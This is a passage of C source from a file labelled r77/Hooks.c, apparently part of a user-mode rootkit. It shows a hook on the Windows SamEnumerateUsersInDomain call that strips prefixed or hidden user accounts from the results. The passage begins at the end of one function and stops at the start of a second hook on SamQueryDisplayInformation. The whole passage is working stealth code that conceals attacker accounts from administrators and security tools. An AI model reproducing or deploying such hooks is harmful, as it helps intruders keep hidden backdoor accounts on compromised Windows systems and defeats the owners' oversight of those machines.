Function HookedSamEnumerateUsersInDomain

r77/Hooks.c:796–817

	return status;
}
static NTSTATUS NTAPI HookedSamEnumerateUsersInDomain(HANDLE domainHandle, PULONG enumerationContext, ULONG userAccountControl, LPVOID *buffer, ULONG preferedMaximumLength, PULONG countReturned)
{
	NTSTATUS status = OriginalSamEnumerateUsersInDomain(domainHandle, enumerationContext, userAccountControl, buffer, preferedMaximumLength, countReturned);

	if (NT_SUCCESS(status) && buffer && *buffer && countReturned)
	{
		PNT_SAM_RID_ENUMERATION rids = (PNT_SAM_RID_ENUMERATION)*buffer;
		for (ULONG i = 0; i < *countReturned; i++)
		{
			rids[i].Name.Buffer[rids[i].Name.Length / sizeof(WCHAR)] = L'\0';

			if (HasPrefix(rids[i].Name.Buffer) || IsUserNameHidden(rids[i].Name.Buffer))
			{
				memmove(&rids[i], &rids[i + 1], (*countReturned - i - 1) * sizeof(NT_SAM_RID_ENUMERATION));
				(*countReturned)--;
				i--;
			}
		}
	}

	return status;
}
static NTSTATUS NTAPI HookedSamQueryDisplayInformation(HANDLE domainHandle, NT_DOMAIN_DISPLAY_INFORMATION displayInformation, ULONG index, ULONG entryCount, ULONG preferredMaximumLength, PULONG totalAvailable, PULONG totalReturned, PULONG returnedEntryCount, LPVOID *sortedBuffer)
{
	NTSTATUS status = OriginalSamQueryDisplayInformation(domainHandle, displayInformation, index, entryCount, preferredMaximumLength, totalAvailable, totalReturned, returnedEntryCount, sortedBuffer);